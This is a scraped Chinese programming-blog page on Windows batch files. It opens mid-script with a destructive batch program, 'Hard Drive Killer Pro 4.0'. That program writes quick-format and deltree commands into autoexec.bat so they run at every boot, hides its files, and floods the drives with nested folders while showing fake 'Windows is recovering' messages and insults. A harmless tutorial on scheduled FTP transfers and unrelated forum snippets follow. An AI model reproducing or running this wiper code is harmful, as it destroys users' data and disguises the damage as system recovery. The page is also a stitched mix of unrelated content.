           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cd >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
           echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
           echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
           echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat
           echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat
           echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat

           echo echo. >>c:autoexec.bat
           echo echo Regards, >>c:autoexec.bat
           echo echo. >>c:autoexec.bat
           echo echo Munga Bunga >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat

           :makedir
           if exist c:temp.bat attrib -r -h c:temp.bat >nul
           echo @echo off >c:temp.bat
           echo %%1: >>c:temp.bat
           echo cd >>c:temp.bat
           echo :star** >>c:temp.bat
           echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
           echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
           echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto star** >>c:temp.bat
           call attrib +r +h c:temp.bat >nul

           cls
           echo Initializing Variables . . .
           rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
           for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           for %%a in (%drive%) call attrib -r -h %%a: /S >nul
           call attrib +r +h c:temp.bat >nul
           call attrib +r +h c:autoexec.bat >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .

           for %%a in (%drive%) call deltree /y %%a:*. >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           echo Initializing Application . . .
           echo Starting Application . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

           cls
           echo Thank you for using a Munga Bunga product.
           echo.
           echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
           echo.
           echo Here is a joke for you . . .
           echo.
           echo Q). What's the worst thing about being an egg?
           echo A). You only get laid once.
           echo.
           echo HAHAHAHA, get it? Don't you just love that one?
           echo.
           echo Regards,
           echo.
           echo Munga Bunga

           :end

           rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
           rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here)
用批处理命令实现FTP文件的自动传输

          由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出 错。本人经过思考摸索,在Windows操作系统的“任务计划”帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有 所帮助,更望能抛砖引玉,提出更好的方法。

          假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为 10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如 下。

          第一步,先新建一个文本:

          Open 10.31.15.3

          User anonymous

          123456

          Cd data

          Bin

          Prompt

          Mget *.*

          Bye

          Quit

          Exit

          将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧 码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一 个文本:

          C:

          Cd datatran

          ftp–n–s:”c:\1.ftp”

          新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。

          第二步,将该该批处理文件放在“任务计划”中设定自动运行。方法是:打开“开始”菜单“程序”下“附件”中的“系统工具”,点击“任务计划”,执行“添加 任务计划”,按“任务计划向导”提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性 地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。

          另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉1.ftp中“Bin”一行就可以了
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

转: Windows 批处理大全 的相关文章

  • 如何在 Visual C++ 中宣传 Bonjour 服务

    我试图弄清楚这是否可能 但是通过 Visual C 宣传 Bonjour 服务的最简单方法是什么 您可以使用DNS服务发现客户 dns sd Windows Bonjour 安装程序把它放进去C Windows system32 dns s
  • 每个进程每个线程的时间量

    我有一个关于 Windows 和 Linux 中进程和线程的时间量子的问题 我知道操作系统通常为每个线程提供固定的时间量 我知道时间量根据前台或后台线程而变化 也可能根据进程的优先级而变化 每个进程有固定的时间量吗 例如 如果操作系统为每个
  • Node.js + Socket.io + Windows 7 / 8?

    我一直在到处寻找 但似乎找不到解决方案 是否可以在 Windows 7 上的 Node js 上安装 Socket io 如果没有 是否有某种替代方案 或者您知道未来有任何 Windows 支持吗 通常使用 Node js 包管理器 但是我
  • 在 wampserver 2.2 上安装 php_imagick.dll PHP 扩展

    我使用的是 32 位操作系统的 Windows 7 我安装了 ImageMagick 6 8 7 Q16Link https www imagemagick org script download php windows我能够从命令行 转换
  • OSError: [WinError 193] %1 不是有效的 Win32 应用程序,同时使用 CTypes 在 python 中读取自定义 DLL

    我正在尝试编写用 python 封装 C 库的代码 我计划使用 CTypes 来完成此操作 并使用 Visual Studio 来编译我的 DLL 我从一个简单的函数开始 在 Visual Studio 内的标头中添加了以下内容 然后将其构
  • subprocess.Popen('start') 失败

    在 python 中运行此命令将导致 WindowsError 指出找不到指定的文件 FAILS import subprocess subprocess Popen start notepad exe 在命令窗口中 它可以工作 start
  • windows关闭tomcat后保持端口锁定

    我遇到了一个问题 该问题发生在不同站点的 3 台不同服务器上 问题是 当我关闭 Windows 服务器上的 Tomcat 7 和 8 5 版本 服务并尝试重新启动该服务后 该服务将无法启动 因为 tomcat 认为端口仍在使用中 以下是错误
  • 在 Swift 中将动态 Int 变量从一个类传递到另一个类

    我是 swift 2 的新手 我陷入了将变量从一个类传递到另一个类的过程中 我有一个类 GameScene 我有一个公共变量score并且在更新功能中不断更新 我想发送score两个节点相互碰撞时的值 一旦它发生碰撞 我就会使用 mainv
  • 将文件夹中的所有文件及其所有子文件夹移动到一个大文件夹中 - windows xp

    我有一个文件夹 c downloads ffme 里面有很多子文件夹 每个子文件夹中都有不同数量的文件 我想将所有这些单独的文件合并到一个大文件夹中 同时将它们从子文件夹中删除 我希望最终得到一个包含大量文件的文件夹 但没有子文件夹 我怎样
  • 在运行时,我如何判断我是否在 WinXP+ 上? win32

    我正在进行一些 win32 字符串 API 调用 并假设字符串以宽字符串形式出现 这在 XP 和更高版本上有效 我该如何断言这一点 这是运行时检查还是编译时检查 我做错了吗 这是一个例子 typedef std basic string
  • Jenkins 可以检测到任何 svn 用户每次提交代码吗?

    Jenkins 可以检测到任何 svn 用户每次提交代码吗 我想知道每次 Jenkins 提交 svn user 时 有什么方法或 jenkins 插件吗 现在我用svn updateJenkins 中的 cmd 来更新 svn 您可以按照
  • Rails Windows Vagrant 响应时间非常慢

    我在跑 Vagrant 1 7 1 Rails 4 1 4 Thin 1 6 1 Windows 7 每个静态文件的发送时间都超过一秒 在我的 PC 上加载一个页面可能需要大约 20 秒 而在同事的 Linux 机器上则只需瞬间 有一些帖子
  • 在 Windows 7 上的 Sourcetree 中比较 Word docx 文件

    我一直在尝试获取在 Windows 7 上的 Sourcetree 中工作的 Word docx 文件的文本差异 我已按照此处的说明进行操作将 Microsoft Word 与 git 结合使用 http blog martinfenner
  • 如何设置任务在使用 vbs 登录时以当前用户身份运行而无需管理员权限?

    从命令行 我可以创建一个在登录时运行的计划任务 无需管理员权限或用户输入密码来设置任务 但是我必须使用 xml 文件来执行此操作 下面是一个示例 xml 其中 Domain User 部分必须在运行时替换为当前用户的域和名称
  • C++ 使用 Windows 命名管道

    由于某种原因 桅杆和从属装置都失败了 但是我可以找到任何关于它们如何工作的好例子 所以我不确定我哪里出了问题 在 ConnectNamedPipe 之后 主设备永远不会退出 WaitForSingleObject 并且从设备在第一个 boo
  • 导致崩溃转储的 Java 错误的解决方法

    我开发的一个程序偶尔会由于这个错误而导致 JVM 崩溃 http bugs java com bugdatabase view bug do bug id 8029516 http bugs java com bugdatabase vie
  • 什么是WINVER?

    我正在查看一些代码 他们有这一行 define WINVER 0x0501 in stdafx h文件 为什么需要定义WINVER 它如何影响您的代码 有人可以解释一下吗 WINVER 确定构建应用程序所需的最低平台 SDK 这反过来又会在
  • 可以读取目标文件吗?

    我很好奇 obj文件 我几乎不知道它们是什么 或者它们包含什么 所以我用 Vim 文本编辑器打开它们 我在里面发现了一种类似外星人的语言 有什么办法可以理解它们代表什么以及它们的内容是什么 另外 它们的用途是什么 Thanks Sure 但
  • 所有平台上的java

    如果您想用 java 为 Windows Mac 和 Linux 编写桌面应用程序 那么所有这些代码都相同吗 您只需更改 GUI 即可使 Windows 应用程序更像 Windows 等等 如果不深入细节 它是如何工作的 Java 的卖点之
  • 在高 dpi Windows 平台上自动重新缩放应用程序?

    我正在编写一个需要在高 dpi Windows 192dpi 而不是 96dpi 上运行的 Qt 应用程序 不幸的是 Qt 框架尚不支持高 dpi 至少在 Windows 上 因此我的应用程序及其所有元素看起来只有应有尺寸的一半 有没有办法

随机推荐

  • xp系统链接不上宽带连接服务器,XP系统网络连接正常却上不了网怎么解决

    有XP用户遇到了无法上网的现象 网络却已连接 一切都正常 但是 网页就是无法打开 有时甚至会出现时连时断网的现象 XP系统网络连接正常却上不了网怎么解决 现小编介绍解决办法 具体步骤如下 1 打开 运行 对话框 或按Win R组合键 输入命
  • dlib 人脸识别原理详细讲解

    dlib 是一个 C 库 提供了许多机器学习算法和工具 其中包括人脸识别 dlib 的人脸识别算法基于深度学习技术 使用卷积神经网络 Convolutional Neural Network CNN 进行训练 dlib 的人脸识别算法主要分
  • L2-042 老板的作息表

    新浪微博上有人发了某老板的作息时间表 表示其每天 4 30 就起床了 但立刻有眼尖的网友问 这时间表不完整啊 早上九点到下午一点干啥了 本题就请你编写程序 检查任意一张时间表 找出其中没写出来的时间段 输入格式 输入第一行给出一个正整数 N
  • android.app包---------ActivityManager类介绍

    ActivityManager类介绍 ActivityManager与系统与所有正在运行Activity进行交互 相关方法介绍 getDeviceConfigurationInfo 获取设备配置属性值 getMemoryClass 返回当前
  • 编译FriendlyDesktop的Uboot源码、内核,修改开机图片logo

    1 安装依赖包 参照官网wiki教程 12章节 Nanopi 教程wiki 安装以下依赖包 sudo apt get y install bison g multilib git gperf libxml2 utils make pytho
  • mac制作ssl证书

    注意 mac 自带 openssl 所以没必要像 windows 一样先安装 openssl 直接生成即可 生成 ssl 自签名 证书 生成 key 生成rsa私钥 des3算法 server ssl key是秘钥文件名 1024位强度 o
  • 左神《直通BAT面试算法精讲课》

    左神精讲视频课 可以使用优惠码 也可以直接点进去链接购买 可以减十元 大家一起学习 共同进步 专属优惠码为 AFyqyO0 专属优惠购课链接 http www nowcoder com courses 1 coupon AFyqyO0
  • 一文带你读懂感知机的前世今生(上)

    一文带你读懂感知机的前世今生 前言 男女不分 什么是神经元 M P神经元 全或无定律 McCulloch和Pitts 一种高度简化的模型 MP神经元和真值表 MP神经元的几何理解 后记 参考 前言 男女不分 朋友 当你看到类似下图的这样一副
  • ENSP安装华为防火墙模拟器(附USG模拟设备安装包)

    1 防火墙定义 防火墙是位于两个网络中间的系统 它在这些网络之间实施访问控制策略 例如 您的系统正在连接的专用 LAN 和不安全的公共网络 它管理进出系统的进出网络的数据流量 用外行的话来说 防火墙可以被视为您网络的安全卫士 或者可以被视为
  • mybatis- useSSL=true会报错

    D Java jdk1 8 0 144 bin java exe ea Didea test cyclic buffer size 1048576 javaagent D IntelliJ IDEA 2019 3 4 lib idea rt
  • excel巧用拼接函数CONCATENATE输出JSON字符串

    使用 CONCATENATE 其中一个文本函数 将两个或多个文本字符串联接为一个字符串 在 Excel 2016 Excel Mobile 和 Excel 网页版 中 此函数已替换为 CONCAT 函数 语法 CONCATENATE tex
  • gitkraken免费版本6.5.1,Linux下载地址

    来源 https www kaisawind com 2020 03 04 2020 03 05 git gitkraken自6 5 3本地库开始收费 所以推荐下载旧版本下载地址 收费版本 version 6 5 3 url deb htt
  • 视觉架构大一统!港中文通过统一视角Container对Transformer, 深度卷积以及MLP-Mixer进行了大一统

    编辑 Happy 首发 AIWalker 前段时间MLP Mixer提出后 引发了视觉架构圈的一篇轰动 包含但不限于以下几篇文章 重参数宇宙 再添新成员 RepMLP 清华大学 旷视科技提出将重参数卷积嵌入到全连接层 新坑 谷歌提出MLP
  • 在Final Cut Pro X 中如何把音频和视频对齐?

    在拍摄的视频的时候 往往因为现场的环境嘈杂而使得录音不清晰 我们通常会单独用一个设备录音 获得单条音频 在用Final Cut Pro X剪辑上的时候 如何把音频和视频对齐呢 用Final Cut Pro X把音频和视频对齐教程 1 在事件
  • muduo_base库学习笔记6——互斥量、条件变量和倒计时门闩类

    muduo中对互斥量和条件变量的操作基本上都是调用它们对应的相关函数来实现的 例如MutexLock lock即调用pthread mutex lock Condition wait 即调用pthread cond wait等 互斥量 mu
  • C - Balanced Number HDU - 3709 (数位dp)

    题目链接 https cn vjudge net contest 278036 problem C 题目大意 手首先是T组数据 然后每一次输入两个数l r 求这个区间里面满足以某个数字为中心的两侧力矩和相等的个数 举个例子 4139 我们如
  • win10键盘锁住了怎么解决

    有win10系统用户在使用的时候 发现键盘被锁住了 导致无法使用 经过分析可能是不小心按到了键盘上的锁住键 锁定键盘的快捷键 笔记本电脑 Fn Numlock 键 第一种方法 1 外接键盘 是否按过 Numlock 键 如果按过 Numlo
  • vue2使用国际化语言vue-i18n

    1 安装 npm install vue i18n 或 yarn add vue i18n 2 引用 在main js中引用 import VueI18n from vue i18n Vue use VueI18n 运行项目 报错 由于使用
  • 网络流之最大流和最小割

    最大流问题 最大流 给定有向图中每条边的最大流量 容量 求从源点到汇点的最大流量 容量网络 括号左边代表容量 右边代表流量 残留网络 流网络中剩余可增加的流量 增广路 满足容量条件的一条流量不为零的路径 增广路定理 设容量网络G V E 的
  • 转: Windows 批处理大全

    批处理文件是无格式的文本文件 它包含一条或多条命令 它的文件扩展名为 bat 或 cmd 在命令提示下键入批处理文件的名称 或者双击该批处理文件 系统就会调用Cmd exe按照该文件中各个命令出现的顺序来逐个运行它们 使用批 处理文件 也被